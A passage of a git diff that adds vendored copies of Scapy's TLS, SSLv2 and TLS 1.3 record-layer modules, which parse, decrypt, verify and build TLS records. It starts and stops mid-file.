getfield(self, pkt, s): + """ + If the decryption of the content did not fail with a CipherError, + we begin a loop on the clear content in order to get as much messages + as possible, of the type advertised in the record header. This is + notably important for several TLS handshake implementations, which + may for instance pack a server_hello, a certificate, a + server_key_exchange and a server_hello_done, all in one record. + Each parsed message may update the TLS context through their method + .post_dissection_tls_session_update(). + + If the decryption failed with a CipherError, presumably because we + missed the session keys, we signal it by returning a + _TLSEncryptedContent packet which simply contains the ciphered data. + """ + tmp_len = self.length_from(pkt) + lst = [] + ret = b"" + remain = s + if tmp_len is not None: + remain, ret = s[:tmp_len], s[tmp_len:] + + if remain == b"": + if (((pkt.tls_session.tls_version or 0x0303) > 0x0200) and + hasattr(pkt, "type") and pkt.type == 23): + return ret, [TLSApplicationData(data=b"")] + elif hasattr(pkt, "type") and pkt.type == 20: + return ret, [TLSChangeCipherSpec()] + else: + return ret, [Raw(load=b"")] + + if False in six.itervalues(pkt.tls_session.rcs.cipher.ready): + return ret, _TLSEncryptedContent(remain) + else: + while remain: + raw_msg = remain + p = self.m2i(pkt, remain) + if Padding in p: + pad = p[Padding] + remain = pad.load + del pad.underlayer.payload + if len(remain) != 0: + raw_msg = raw_msg[:-len(remain)] + else: + remain = b"" + + if isinstance(p, _GenericTLSSessionInheritance): + if not p.tls_session.frozen: + p.post_dissection_tls_session_update(raw_msg) + + lst.append(p) + return remain + ret, lst + + def i2m(self, pkt, p): + """ + Update the context with information from the built packet. + If no type was given at the record layer, we try to infer it. + """ + cur = b"" + if isinstance(p, _GenericTLSSessionInheritance): + if pkt.type is None: + if isinstance(p, TLSChangeCipherSpec): + pkt.type = 20 + elif isinstance(p, TLSAlert): + pkt.type = 21 + elif isinstance(p, _TLSHandshake): + pkt.type = 22 + elif isinstance(p, TLSApplicationData): + pkt.type = 23 + p.tls_session = pkt.tls_session + if not pkt.tls_session.frozen: + cur = p.raw_stateful() + p.post_build_tls_session_update(cur) + else: + cur = raw(p) + else: + pkt.type = 23 + cur = raw(p) + return cur + + def addfield(self, pkt, s, val): + """ + Reconstruct the header because the TLS type may have been updated. + Then, append the content. + """ + res = b"" + for p in val: + res += self.i2m(pkt, p) + + # Add TLS13ClientHello in case of HelloRetryRequest + # Add ChangeCipherSpec for middlebox compatibility + if (isinstance(pkt, _GenericTLSSessionInheritance) and + _tls_version_check(pkt.tls_session.tls_version, 0x0304) and + not isinstance(pkt.msg[0], TLS13ServerHello) and + not isinstance(pkt.msg[0], TLS13ClientHello) and + not isinstance(pkt.msg[0], TLSChangeCipherSpec)): + return s + res + + if not pkt.type: + pkt.type = 0 + + hdr = struct.pack("!B", pkt.type) + s[1:5] + return hdr + res + + +def _ssl_looks_like_sslv2(dat): + """ + This is a copycat of wireshark's `packet-tls.c` ssl_looks_like_sslv2 + """ + if len(dat) < 3: + return + from scapy.layers.tls.handshake_sslv2 import _sslv2_handshake_type + return ord(dat[:1]) >= 0x80 and ord(dat[2:3]) in _sslv2_handshake_type + + +class TLS(_GenericTLSSessionInheritance): + """ + The generic TLS Record message, based on section 6.2 of RFC 5246. + + When reading a TLS message, we try to parse as much as we can. + In .pre_dissect(), according to the type of the current cipher algorithm + (self.tls_session.rcs.cipher.type), we extract the 'iv', 'mac', 'pad' and + 'padlen'. Some of these fields may remain blank: for instance, when using + a stream cipher, there is no IV nor any padding. The 'len' should always + hold the length of the ciphered message; for the plaintext version, you + should rely on the additional 'deciphered_len' attribute. + + XXX Fix 'deciphered_len' which should not be defined when failing with + AEAD decryption. This is related to the 'decryption_success' below. + Also, follow this behaviour in record_sslv2.py and record_tls13.py + + Once we have isolated the ciphered message aggregate (which should be one + or several TLS messages of the same type), we try to decipher it. Either we + succeed and store the clear data in 'msg', or we graciously fail with a + CipherError and store the ciphered data in 'msg'. + + Unless the user manually provides the session secrets through the passing + of a 'tls_session', obviously the ciphered messages will not be deciphered. + Indeed, the need for a proper context may also present itself when trying + to parse clear handshake messages. + + For instance, suppose you sniffed the beginning of a DHE-RSA negotiation:: + + t1 = TLS() + t2 = TLS() + t3 = TLS(, + tls_session=t1.tls_session) + + (Note that to do things properly, here 't1.tls_session' should actually be + 't1.tls_session.mirror()'. See session.py for explanations.) + + As no context was passed to t2, neither was any client_random. Hence Scapy + will not be able to verify the signature of the server_key_exchange inside + t2. However, it should be able to do so for t3, thanks to the tls_session. + The consequence of not having a complete TLS context is even more obvious + when trying to parse ciphered content, as we described before. + + Thus, in order to parse TLS-protected communications with Scapy: + _either Scapy reads every message from one side of the TLS connection and + builds every message from the other side (as such, it should know the + secrets needed for the generation of the pre_master_secret), while passing + the same tls_session context (this is how our automaton.py mostly works); + _or, if Scapy did not build any TLS message, it has to create a TLS context + and feed it with secrets retrieved by whatever technique. Note that the + knowing the private key of the server certificate will not be sufficient + if a PFS ciphersuite was used. However, if you got a master_secret somehow, + use it with tls_session.(w|r)cs.derive_keys() and leave the rest to Scapy. + + When building a TLS message with raw_stateful, we expect the tls_session to + have the right parameters for ciphering. Else, .post_build() might fail. + """ + __slots__ = ["deciphered_len"] + name = "TLS" + fields_desc = [ByteEnumField("type", None, _tls_type), + _TLSVersionField("version", None, _tls_version), + _TLSLengthField("len", None), + _TLSIVField("iv", None), + _TLSMsgListField("msg", []), + _TLSMACField("mac", None), + _TLSPadField("pad", None), + _TLSPadLenField("padlen", None)] + + def __init__(self, *args, **kargs): + self.deciphered_len = kargs.get("deciphered_len", None) + super(TLS, self).__init__(*args, **kargs) + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + """ + If the TLS class was called on raw SSLv2 data, we want to return an + SSLv2 record instance. We acknowledge the risk of SSLv2 packets with a + msglen of 0x1403, 0x1503, 0x1603 or 0x1703 which will never be casted + as SSLv2 records but TLS ones instead, but hey, we can't be held + responsible for low-minded extensibility choices. + """ + if _pkt is not None: + plen = len(_pkt) + if plen >= 2: + byte0, byte1 = struct.unpack("BB", _pkt[:2]) + s = kargs.get("tls_session", None) + if byte0 not in _tls_type or byte1 != 3: # Unknown type + # Check SSLv2: either the session is already SSLv2, + # either the packet looks like one. As said above, this + # isn't 100% reliable, but Wireshark does the same + if s and (s.tls_version == 0x0002 or + s.advertised_tls_version == 0x0002) or \ + (_ssl_looks_like_sslv2(_pkt) and (not s or + s.tls_version is None)): + from scapy.layers.tls.record_sslv2 import SSLv2 + return SSLv2 + # Not SSLv2: continuation + return _TLSEncryptedContent + # Check TLS 1.3 + if s and _tls_version_check(s.tls_version, 0x0304): + if (s.rcs and not isinstance(s.rcs.cipher, Cipher_NULL) and + byte0 == 0x17): + from scapy.layers.tls.record_tls13 import TLS13 + return TLS13 + if plen < 5: + # Layer detected as TLS but too small to be a + # parsed. Scapy should not try to decode them + return _TLSEncryptedContent + return TLS + + # Parsing methods + + def _tls_auth_decrypt(self, hdr, s): + """ + Provided with the record header and AEAD-ciphered data, return the + sliced and clear tuple (nonce, TLSCompressed.fragment, mac). Note that + we still return the slicing of the original input in case of decryption + failure. Also, if the integrity check fails, a warning will be issued, + but we still return the sliced (unauthenticated) plaintext. + """ + try: + read_seq_num = struct.pack("!Q", self.tls_session.rcs.seq_num) + self.tls_session.rcs.seq_num += 1 + # self.type and self.version have not been parsed yet, + # this is why we need to look into the provided hdr. + add_data = read_seq_num + hdr[:3] + # Last two bytes of add_data are appended by the return function + return self.tls_session.rcs.cipher.auth_decrypt(add_data, s, + read_seq_num) + except CipherError as e: + return e.args + except AEADTagError as e: + pkt_info = self.firstlayer().summary() + log_runtime.info("TLS: record integrity check failed [%s]", pkt_info) # noqa: E501 + return e.args + + def _tls_decrypt(self, s): + """ + Provided with stream- or block-ciphered data, return the clear version. + The cipher should have been updated with the right IV early on, + which should not be at the beginning of the input. + In case of decryption failure, a CipherError will be raised with + the slicing of the original input as first argument. + """ + return self.tls_session.rcs.cipher.decrypt(s) + + def _tls_hmac_verify(self, hdr, msg, mac): + """ + Provided with the record header, the TLSCompressed.fragment and the + HMAC, return True if the HMAC is correct. If we could not compute the + HMAC because the key was missing, there is no sense in verifying + anything, thus we also return True. + + Meant to be used with a block cipher or a stream cipher. + It would fail with an AEAD cipher, because rcs.hmac would be None. + See RFC 5246, section 6.2.3. + """ + read_seq_num = struct.pack("!Q", self.tls_session.rcs.seq_num) + self.tls_session.rcs.seq_num += 1 + + mac_len = self.tls_session.rcs.mac_len + if mac_len == 0: # should be TLS_NULL_WITH_NULL_NULL + return True + if len(mac) != mac_len: + return False + + alg = self.tls_session.rcs.hmac + version = struct.unpack("!H", hdr[1:3])[0] + try: + if version > 0x300: + h = alg.digest(read_seq_num + hdr + msg) + elif version == 0x300: + h = alg.digest_sslv3(read_seq_num + hdr[:1] + hdr[3:5] + msg) + else: + raise Exception("Unrecognized version.") + except HMACError: + h = mac + return h == mac + + def _tls_decompress(self, s): + """ + Provided with the TLSCompressed.fragment, + return the TLSPlaintext.fragment. + """ + alg = self.tls_session.rcs.compression + return alg.decompress(s) + + def pre_dissect(self, s): + """ + Decrypt, verify and decompress the message, + i.e. apply the previous methods according to the reading cipher type. + If the decryption was successful, 'len' will be the length of the + TLSPlaintext.fragment. Else, it should be the length of the + _TLSEncryptedContent. + """ + if len(s) < 5: + raise Exception("Invalid record: header is too short.") + + msglen = struct.unpack('!H', s[3:5])[0] + hdr, efrag, r = s[:5], s[5:5 + msglen], s[msglen + 5:] + + iv = mac = pad = b"" + self.padlen = None + decryption_success = False + + cipher_type = self.tls_session.rcs.cipher.type + + if cipher_type == 'block': + version = struct.unpack("!H", s[1:3])[0] + + # Decrypt + try: + if version >= 0x0302: + # Explicit IV for TLS 1.1 and 1.2 + block_size = self.tls_session.rcs.cipher.block_size + iv, efrag = efrag[:block_size], efrag[block_size:] + self.tls_session.rcs.cipher.iv = iv + pfrag = self._tls_decrypt(efrag) + else: + # Implicit IV for SSLv3 and TLS 1.0 + pfrag = self._tls_decrypt(efrag) + except CipherError as e: + # This will end up dissected as _TLSEncryptedContent. + cfrag = e.args[0] + else: + decryption_success = True + # Excerpt below better corresponds to TLS 1.1 IV definition, + # but the result is the same as with TLS 1.2 anyway. + # This leading *IV* has been decrypted by _tls_decrypt with a + # random IV, hence it does not correspond to anything. + # What actually matters is that we got the first encrypted block # noqa: E501 + # in order to decrypt the second block (first data block). + # if version >= 0x0302: + # block_size = self.tls_session.rcs.cipher.block_size + # iv, pfrag = pfrag[:block_size], pfrag[block_size:] + # l = struct.unpack('!H', hdr[3:5])[0] + # hdr = hdr[:3] + struct.pack('!H', l-block_size) + + # Extract padding ('pad' actually includes the trailing padlen) + padlen = orb(pfrag[-1]) + 1 + mfrag, pad = pfrag[:-padlen], pfrag[-padlen:] + self.padlen = padlen + + # Extract MAC + tmp_len = self.tls_session.rcs.mac_len + if tmp_len != 0: + cfrag, mac = mfrag[:-tmp_len], mfrag[-tmp_len:] + else: + cfrag, mac = mfrag, b"" + + # Verify integrity + chdr = hdr[:3] + struct.pack('!H', len(cfrag)) + is_mac_ok = self._tls_hmac_verify(chdr, cfrag, mac) + if not is_mac_ok: + pkt_info = self.firstlayer().summary() + log_runtime.info("TLS: record integrity check failed [%s]", pkt_info) # noqa: E501 + + elif cipher_type == 'stream': + # Decrypt + try: + pfrag = self._tls_decrypt(efrag) + except CipherError as e: + # This will end up dissected as _TLSEncryptedContent. + cfrag = e.args[0] + else: + decryption_success = True + mfrag = pfrag + + # Extract MAC + tmp_len = self.tls_session.rcs.mac_len + if tmp_len != 0: + cfrag, mac = mfrag[:-tmp_len], mfrag[-tmp_len:] + else: + cfrag, mac = mfrag, b"" + + # Verify integrity + chdr = hdr[:3] + struct.pack('!H', len(cfrag)) + is_mac_ok = self._tls_hmac_verify(chdr, cfrag, mac) + if not is_mac_ok: + pkt_info = self.firstlayer().summary() + log_runtime.info("TLS: record integrity check failed [%s]", pkt_info) # noqa: E501 + + elif cipher_type == 'aead': + # Authenticated encryption + # crypto/cipher_aead.py prints a warning for integrity failure + if (conf.crypto_valid_advanced and + isinstance(self.tls_session.rcs.cipher, Cipher_CHACHA20_POLY1305)): # noqa: E501 + iv = b"" + cfrag, mac = self._tls_auth_decrypt(hdr, efrag) + else: + iv, cfrag, mac = self._tls_auth_decrypt(hdr, efrag) + decryption_success = True # see XXX above + + frag = self._tls_decompress(cfrag) + + if decryption_success: + self.deciphered_len = len(frag) + else: + self.deciphered_len = None + + reconstructed_body = iv + frag + mac + pad + + return hdr + reconstructed_body + r + + def post_dissect(self, s): + """ + Commit the pending r/w state if it has been triggered (e.g. by an + underlying TLSChangeCipherSpec or a SSLv2ClientMasterKey). We update + nothing if the prcs was not set, as this probably means that we're + working out-of-context (and we need to keep the default rcs). + """ + if (self.tls_session.tls_version and + self.tls_session.tls_version <= 0x0303): + if self.tls_session.triggered_prcs_commit: + if self.tls_session.prcs is not None: + self.tls_session.rcs = self.tls_session.prcs + self.tls_session.prcs = None + self.tls_session.triggered_prcs_commit = False + if self.tls_session.triggered_pwcs_commit: + if self.tls_session.pwcs is not None: + self.tls_session.wcs = self.tls_session.pwcs + self.tls_session.pwcs = None + self.tls_session.triggered_pwcs_commit = False + return s + + def do_dissect_payload(self, s): + """ + Try to dissect the following data as a TLS message. + Note that overloading .guess_payload_class() would not be enough, + as the TLS session to be used would get lost. + """ + if s: + try: + p = TLS(s, _internal=1, _underlayer=self, + tls_session=self.tls_session) + except KeyboardInterrupt: + raise + except Exception: + p = conf.raw_layer(s, _internal=1, _underlayer=self) + self.add_payload(p) + + # Building methods + + def _tls_compress(self, s): + """ + Provided with the TLSPlaintext.fragment, + return the TLSCompressed.fragment. + """ + alg = self.tls_session.wcs.compression + return alg.compress(s) + + def _tls_auth_encrypt(self, s): + """ + Return the TLSCiphertext.fragment for AEAD ciphers, i.e. the whole + GenericAEADCipher. Also, the additional data is computed right here. + """ + write_seq_num = struct.pack("!Q", self.tls_session.wcs.seq_num) + self.tls_session.wcs.seq_num += 1 + add_data = (write_seq_num + + pkcs_i2osp(self.type, 1) + + pkcs_i2osp(self.version, 2) + + pkcs_i2osp(len(s), 2)) + return self.tls_session.wcs.cipher.auth_encrypt(s, add_data, + write_seq_num) + + def _tls_hmac_add(self, hdr, msg): + """ + Provided with the record header (concatenation of the TLSCompressed + type, version and length fields) and the TLSCompressed.fragment, + return the concatenation of the TLSCompressed.fragment and the HMAC. + + Meant to be used with a block cipher or a stream cipher. + It would fail with an AEAD cipher, because wcs.hmac would be None. + See RFC 5246, section 6.2.3. + """ + write_seq_num = struct.pack("!Q", self.tls_session.wcs.seq_num) + self.tls_session.wcs.seq_num += 1 + + alg = self.tls_session.wcs.hmac + version = struct.unpack("!H", hdr[1:3])[0] + if version > 0x300: + h = alg.digest(write_seq_num + hdr + msg) + elif version == 0x300: + h = alg.digest_sslv3(write_seq_num + hdr[:1] + hdr[3:5] + msg) + else: + raise Exception("Unrecognized version.") + return msg + h + + def _tls_pad(self, s): + """ + Provided with the concatenation of the TLSCompressed.fragment and the + HMAC, append the right padding and return it as a whole. + This is the TLS-style padding: while SSL allowed for random padding, + TLS (misguidedly) specifies the repetition of the same byte all over, + and this byte must be equal to len() - 1. + + Meant to be used with a block cipher only. + """ + padding = b"" + block_size = self.tls_session.wcs.cipher.block_size + padlen = block_size - ((len(s) + 1) % block_size) + if padlen == block_size: + padlen = 0 + pad_pattern = chb(padlen) + padding = pad_pattern * (padlen + 1) + return s + padding + + def _tls_encrypt(self, s): + """ + Return the stream- or block-ciphered version of the concatenated input. + In case of GenericBlockCipher, no IV has been specifically prepended to + the output, so this might not be the whole TLSCiphertext.fragment yet. + """ + return self.tls_session.wcs.cipher.encrypt(s) + + def post_build(self, pkt, pay): + """ + Apply the previous methods according to the writing cipher type. + """ + # Compute the length of TLSPlaintext fragment + hdr, frag = pkt[:5], pkt[5:] + tmp_len = len(frag) + hdr = hdr[:3] + struct.pack("!H", tmp_len) + + # Compression + cfrag = self._tls_compress(frag) + tmp_len = len(cfrag) # Update the length as a result of compression + hdr = hdr[:3] + struct.pack("!H", tmp_len) + + cipher_type = self.tls_session.wcs.cipher.type + + if cipher_type == 'block': + # Integrity + mfrag = self._tls_hmac_add(hdr, cfrag) + + # Excerpt below better corresponds to TLS 1.1 IV definition, + # but the result is the same as with TLS 1.2 anyway. + # if self.version >= 0x0302: + # l = self.tls_session.wcs.cipher.block_size + # iv = randstring(l) + # mfrag = iv + mfrag + + # Add padding + pfrag = self._tls_pad(mfrag) + + # Encryption + if self.version >= 0x0302: + # Explicit IV for TLS 1.1 and 1.2 + tmp_len = self.tls_session.wcs.cipher.block_size + iv = randstring(tmp_len) + self.tls_session.wcs.cipher.iv = iv + efrag = self._tls_encrypt(pfrag) + efrag = iv + efrag + else: + # Implicit IV for SSLv3 and TLS 1.0 + efrag = self._tls_encrypt(pfrag) + + elif cipher_type == "stream": + # Integrity + mfrag = self._tls_hmac_add(hdr, cfrag) + # Encryption + efrag = self._tls_encrypt(mfrag) + + elif cipher_type == "aead": + # Authenticated encryption (with nonce_explicit as header) + efrag = self._tls_auth_encrypt(cfrag) + + if self.len is not None: + # The user gave us a 'len', let's respect this ultimately + hdr = hdr[:3] + struct.pack("!H", self.len) + else: + # Update header with the length of TLSCiphertext.fragment + hdr = hdr[:3] + struct.pack("!H", len(efrag)) + + # Now we commit the pending write state if it has been triggered (e.g. + # by an underlying TLSChangeCipherSpec or a SSLv2ClientMasterKey). We + # update nothing if the pwcs was not set. This probably means that + # we're working out-of-context (and we need to keep the default wcs). + if self.tls_session.triggered_pwcs_commit: + if self.tls_session.pwcs is not None: + self.tls_session.wcs = self.tls_session.pwcs + self.tls_session.pwcs = None + self.tls_session.triggered_pwcs_commit = False + + return hdr + efrag + pay + + def mysummary(self): + s = super(TLS, self).mysummary() + if self.msg: + s += " / " + s += " / ".join(getattr(x, "_name", x.name) for x in self.msg) + return s + +############################################################################### +# TLS ChangeCipherSpec # +############################################################################### + + +_tls_changecipherspec_type = {1: "change_cipher_spec"} + + +class TLSChangeCipherSpec(_GenericTLSSessionInheritance): + """ + Note that, as they are not handshake messages, the ccs messages do not get + appended to the list of messages whose integrity gets verified through the + Finished messages. + """ + name = "TLS ChangeCipherSpec" + fields_desc = [ByteEnumField("msgtype", 1, _tls_changecipherspec_type)] + + def post_dissection_tls_session_update(self, msg_str): + self.tls_session.triggered_prcs_commit = True + + def post_build_tls_session_update(self, msg_str): + # Unlike for dissection case, we cannot commit pending write + # state as current write state. We need to delay this after + # the ChangeCipherSpec message has indeed been sent + self.tls_session.triggered_pwcs_commit = True + + +############################################################################### +# TLS Alert # +############################################################################### + +_tls_alert_level = {1: "warning", 2: "fatal"} + +_tls_alert_description = { + 0: "close_notify", 10: "unexpected_message", + 20: "bad_record_mac", 21: "decryption_failed", + 22: "record_overflow", 30: "decompression_failure", + 40: "handshake_failure", 41: "no_certificate_RESERVED", + 42: "bad_certificate", 43: "unsupported_certificate", + 44: "certificate_revoked", 45: "certificate_expired", + 46: "certificate_unknown", 47: "illegal_parameter", + 48: "unknown_ca", 49: "access_denied", + 50: "decode_error", 51: "decrypt_error", + 60: "export_restriction_RESERVED", 70: "protocol_version", + 71: "insufficient_security", 80: "internal_error", + 90: "user_canceled", 100: "no_renegotiation", + 110: "unsupported_extension", 111: "certificate_unobtainable", + 112: "unrecognized_name", 113: "bad_certificate_status_response", + 114: "bad_certificate_hash_value", 115: "unknown_psk_identity"} + + +class TLSAlert(_GenericTLSSessionInheritance): + name = "TLS Alert" + fields_desc = [ByteEnumField("level", None, _tls_alert_level), + ByteEnumField("descr", None, _tls_alert_description)] + + def mysummary(self): + return self.sprintf("Alert %level%: %desc%") + + def post_dissection_tls_session_update(self, msg_str): + pass + + def post_build_tls_session_update(self, msg_str): + pass + + +############################################################################### +# TLS Application Data # +############################################################################### + +class TLSApplicationData(_GenericTLSSessionInheritance): + name = "TLS Application Data" + fields_desc = [StrField("data", "")] + + def post_dissection_tls_session_update(self, msg_str): + pass + + def post_build_tls_session_update(self, msg_str): + pass + + +############################################################################### +# Bindings # +############################################################################### + +bind_layers(TCP, TLS, sport=443) +bind_layers(TCP, TLS, dport=443) diff --git a/libs/scapy/layers/tls/record_sslv2.py b/libs/scapy/layers/tls/record_sslv2.py new file mode 100755 index 0000000..585aabd --- /dev/null +++ b/libs/scapy/layers/tls/record_sslv2.py @@ -0,0 +1,270 @@ +# This file is part of Scapy +# Copyright (C) 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +SSLv2 Record. +""" + +import struct + +from scapy.config import conf +from scapy.error import log_runtime +from scapy.compat import orb, raw +from scapy.packet import Raw +from scapy.layers.tls.session import _GenericTLSSessionInheritance +from scapy.layers.tls.record import _TLSMsgListField, TLS +from scapy.layers.tls.handshake_sslv2 import _sslv2_handshake_cls +from scapy.layers.tls.basefields import (_SSLv2LengthField, _SSLv2PadField, + _SSLv2PadLenField, _TLSMACField) + + +############################################################################### +# SSLv2 Record Protocol # +############################################################################### + +class _SSLv2MsgListField(_TLSMsgListField): + def __init__(self, name, default, length_from=None): + if not length_from: + length_from = lambda pkt: ((pkt.len & 0x7fff) - + (pkt.padlen or 0) - + len(pkt.mac)) + super(_SSLv2MsgListField, self).__init__(name, default, length_from) + + def m2i(self, pkt, m): + cls = Raw + if len(m) >= 1: + msgtype = orb(m[0]) + cls = _sslv2_handshake_cls.get(msgtype, Raw) + + if cls is Raw: + return Raw(m) + else: + return cls(m, tls_session=pkt.tls_session) + + def i2m(self, pkt, p): + cur = b"" + if isinstance(p, _GenericTLSSessionInheritance): + p.tls_session = pkt.tls_session + if not pkt.tls_session.frozen: + cur = p.raw_stateful() + p.post_build_tls_session_update(cur) + else: + cur = raw(p) + else: + cur = raw(p) + return cur + + def addfield(self, pkt, s, val): + res = b"" + for p in val: + res += self.i2m(pkt, p) + return s + res + + +class SSLv2(TLS): + """ + The encrypted_data is the encrypted version of mac+msg+pad. + """ + __slots__ = ["with_padding", "protected_record"] + name = "SSLv2" + fields_desc = [_SSLv2LengthField("len", None), + _SSLv2PadLenField("padlen", None), + _TLSMACField("mac", b""), + _SSLv2MsgListField("msg", []), + _SSLv2PadField("pad", "")] + + def __init__(self, *args, **kargs): + self.with_padding = kargs.get("with_padding", False) + self.protected_record = kargs.get("protected_record", None) + super(SSLv2, self).__init__(*args, **kargs) + + # Parsing methods + + def _sslv2_mac_verify(self, msg, mac): + secret = self.tls_session.rcs.cipher.key + if secret is None: + return True + + mac_len = self.tls_session.rcs.mac_len + if mac_len == 0: # should be TLS_NULL_WITH_NULL_NULL + return True + if len(mac) != mac_len: + return False + + read_seq_num = struct.pack("!I", self.tls_session.rcs.seq_num) + alg = self.tls_session.rcs.hash + h = alg.digest(secret + msg + read_seq_num) + return h == mac + + def pre_dissect(self, s): + if len(s) < 2: + raise Exception("Invalid record: header is too short.") + + msglen = struct.unpack("!H", s[:2])[0] + if msglen & 0x8000: + hdrlen = 2 + msglen_clean = msglen & 0x7fff + else: + hdrlen = 3 + msglen_clean = msglen & 0x3fff + + hdr = s[:hdrlen] + efrag = s[hdrlen:hdrlen + msglen_clean] + self.protected_record = s[:hdrlen + msglen_clean] + r = s[hdrlen + msglen_clean:] + + mac = pad = b"" + + # Decrypt (with implicit IV if block cipher) + mfrag = self._tls_decrypt(efrag) + + # Extract MAC + maclen = self.tls_session.rcs.mac_len + if maclen == 0: + mac, pfrag = b"", mfrag + else: + mac, pfrag = mfrag[:maclen], mfrag[maclen:] + + # Extract padding + padlen = 0 + if hdrlen == 3: + padlen = orb(s[2]) + if padlen == 0: + cfrag, pad = pfrag, b"" + else: + cfrag, pad = pfrag[:-padlen], pfrag[-padlen:] + + # Verify integrity + is_mac_ok = self._sslv2_mac_verify(cfrag + pad, mac) + if not is_mac_ok: + pkt_info = self.firstlayer().summary() + log_runtime.info("TLS: record integrity check failed [%s]", pkt_info) # noqa: E501 + + reconstructed_body = mac + cfrag + pad + return hdr + reconstructed_body + r + + def post_dissect(self, s): + """ + SSLv2 may force us to commit the write connState here. + """ + if self.tls_session.triggered_prcs_commit: + if self.tls_session.prcs is not None: + self.tls_session.rcs = self.tls_session.prcs + self.tls_session.prcs = None + self.tls_session.triggered_prcs_commit = False + if self.tls_session.triggered_pwcs_commit: + if self.tls_session.pwcs is not None: + self.tls_session.wcs = self.tls_session.pwcs + self.tls_session.pwcs = None + self.tls_session.triggered_pwcs_commit = False + + if self.tls_session.prcs is not None: + self.tls_session.prcs.seq_num += 1 + self.tls_session.rcs.seq_num += 1 + return s + + def do_dissect_payload(self, s): + if s: + try: + p = SSLv2(s, _internal=1, _underlayer=self, + tls_session=self.tls_session) + except KeyboardInterrupt: + raise + except Exception: + if conf.debug_dissect: + raise + p = conf.raw_layer(s, _internal=1, _underlayer=self) + self.add_payload(p) + + # Building methods + + def _sslv2_mac_add(self, msg): + secret = self.tls_session.wcs.cipher.key + if secret is None: + return msg + + write_seq_num = struct.pack("!I", self.tls_session.wcs.seq_num) + alg = self.tls_session.wcs.hash + h = alg.digest(secret + msg + write_seq_num) + return h + msg + + def _sslv2_pad(self, s): + padding = b"" + block_size = self.tls_session.wcs.cipher.block_size + padlen = block_size - (len(s) % block_size) + if padlen == block_size: + padlen = 0 + padding = b"\x00" * padlen + return s + padding + + def post_build(self, pkt, pay): + if self.protected_record is not None: + # we do not update the tls_session + return self.protected_record + pay + + if self.padlen is None: + cfrag = pkt[2:] + else: + cfrag = pkt[3:] + + if self.pad == b"" and self.tls_session.wcs.cipher.type == 'block': + pfrag = self._sslv2_pad(cfrag) + else: + pad = self.pad or b"" + pfrag = cfrag + pad + + padlen = self.padlen + if padlen is None: + padlen = len(pfrag) - len(cfrag) + hdr = pkt[:2] + if padlen > 0: + hdr += struct.pack("B", padlen) + + # Integrity + if self.mac == b"": + mfrag = self._sslv2_mac_add(pfrag) + else: + mfrag = self.mac + pfrag + + # Encryption + efrag = self._tls_encrypt(mfrag) + + if self.len is not None: + tmp_len = self.len + if not self.with_padding: + tmp_len |= 0x8000 + hdr = struct.pack("!H", tmp_len) + hdr[2:] + else: + # Update header with the length of TLSCiphertext.fragment + msglen_new = len(efrag) + if padlen: + if msglen_new > 0x3fff: + raise Exception("Invalid record: encrypted data too long.") + else: + if msglen_new > 0x7fff: + raise Exception("Invalid record: encrypted data too long.") + msglen_new |= 0x8000 + hdr = struct.pack("!H", msglen_new) + hdr[2:] + + # Now we commit the pending write state if it has been triggered (e.g. + # by an underlying TLSChangeCipherSpec or a SSLv2ClientMasterKey). We + # update nothing if the pwcs was not set. This probably means that + # we're working out-of-context (and we need to keep the default wcs). + # SSLv2 may force us to commit the reading connState here. + if self.tls_session.triggered_pwcs_commit: + if self.tls_session.pwcs is not None: + self.tls_session.wcs = self.tls_session.pwcs + self.tls_session.pwcs = None + self.tls_session.triggered_pwcs_commit = False + if self.tls_session.triggered_prcs_commit: + if self.tls_session.prcs is not None: + self.tls_session.rcs = self.tls_session.prcs + self.tls_session.prcs = None + self.tls_session.triggered_prcs_commit = False + + if self.tls_session.pwcs is not None: + self.tls_session.pwcs.seq_num += 1 + self.tls_session.wcs.seq_num += 1 + + return hdr + efrag + pay diff --git a/libs/scapy/layers/tls/record_tls13.py b/libs/scapy/layers/tls/record_tls13.py new file mode 100755 index 0000000..5cc66ff --- /dev/null +++ b/libs/scapy/layers/tls/record_tls13.py @@ -0,0 +1,224 @@ +# This file is part of Scapy +# Copyright (C) 2017 Maxence Tury +# 2019 Romain Perez +# This program is published under a GPLv2 license + +""" +Common TLS 1.3 fields & bindings. + +This module covers the record layer, along with the ChangeCipherSpec, Alert and +ApplicationData submessages. For the Handshake type, see tls_handshake.py. + +See the TLS class documentation for more information. +""" + +import struct + +from scapy.config import conf +from scapy.error import log_runtime, warning +from scapy.compat import raw, orb +from scapy.fields import ByteEnumField, PacketField, XStrField +from scapy.layers.tls.session import _GenericTLSSessionInheritance +from scapy.layers.tls.basefields import _TLSVersionField, _tls_version, \ + _TLSMACField, _TLSLengthField, _tls_type +from scapy.layers.tls.record import _TLSMsgListField, TLS +from scapy.layers.tls.crypto.cipher_aead import AEADTagError +from scapy.layers.tls.crypto.cipher_stream import Cipher_NULL +from scapy.layers.tls.crypto.common import CipherError +from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp + + +############################################################################### +# TLS Record Protocol # +############################################################################### + + +class TLSInnerPlaintext(_GenericTLSSessionInheritance): + name = "TLS Inner Plaintext" + fields_desc = [_TLSMsgListField("msg", []), + ByteEnumField("type", None, _tls_type), + XStrField("pad", "")] + + def pre_dissect(self, s): + """ + We need to parse the padding and type as soon as possible, + else we won't be able to parse the message list... + """ + if len(s) < 1: + raise Exception("Invalid InnerPlaintext (too short).") + + tmp_len = len(s) - 1 + if s[-1] != b"\x00": + msg_len = tmp_len + else: + n = 1 + while s[-n] != b"\x00" and n < tmp_len: + n += 1 + msg_len = tmp_len - n + self.fields_desc[0].length_from = lambda pkt: msg_len + + self.type = struct.unpack("B", s[msg_len:msg_len + 1])[0] + + return s + + +class _TLSInnerPlaintextField(PacketField): + def __init__(self, name, default, *args, **kargs): + super(_TLSInnerPlaintextField, self).__init__(name, + default, + TLSInnerPlaintext) + + def m2i(self, pkt, m): + return self.cls(m, tls_session=pkt.tls_session) + + def getfield(self, pkt, s): + tag_len = pkt.tls_session.rcs.mac_len + frag_len = pkt.len - tag_len + if frag_len < 1: + warning("InnerPlaintext should at least contain a byte type!") + return s, None + remain, i = super(_TLSInnerPlaintextField, self).getfield(pkt, s[:frag_len]) # noqa: E501 + # remain should be empty here + return remain + s[frag_len:], i + + def i2m(self, pkt, p): + if isinstance(p, _GenericTLSSessionInheritance): + p.tls_session = pkt.tls_session + if not pkt.tls_session.frozen: + return p.raw_stateful() + return raw(p) + + +class TLS13(_GenericTLSSessionInheritance): + __slots__ = ["deciphered_len"] 